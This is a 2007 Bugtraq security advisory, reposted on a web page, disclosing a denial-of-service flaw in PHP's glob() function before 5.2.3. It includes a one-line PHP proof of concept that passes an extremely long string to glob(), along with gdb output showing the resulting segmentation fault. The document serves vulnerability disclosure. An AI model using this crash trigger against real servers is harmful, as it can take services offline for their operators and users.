New User, Welcome!     Login

PHP < 5.2.3 glob() denial of service

From: laurent gaffie gmail com
To: bugtraq securityfocus com
Cc:
Subject: PHP < 5.2.3 glob() denial of service
Date: Tue - Sep 04, 2007 02:51 PM


Application: PHP < 5.2.3
Web Site: http://php.net
Platform: unix
Bug: denial of service
fonction: glob()
special condition:default php memory-limit value
===========

1) Introduction
2) Bug
3) Proof of concept
4) greets
5) Credits
===========
1) Introduction
===========

"PHP  is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."

======
2) Bug
======

glob() is vulnerable to a denial of service

=====
3)Proof of concept
=====

Proof of concept example :
<?php
glob(str_repeat("A", 9638013));
?>

result:
(gdb) run ./3.php

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1215031616 (LWP 11156)]
0xb79d3a5a in globfree () from /lib/tls/i686/cmov/libc.so.6


========
4)Greets
========
Ivanlef0u,Deimos,benji,soh
,and everyones on worldnet: #futurezone &
#nibbles

=====
5)Credits
=====

Laurent gaffie
contact : laurent.gaffie@gmail.com
stay tuned, site comming soon .... 




Copyright © 1995-2012 LinuxRocket.net. All rights reserved.

Nearly all of LinuxRocket's features are free. Be kind and donate to the cause!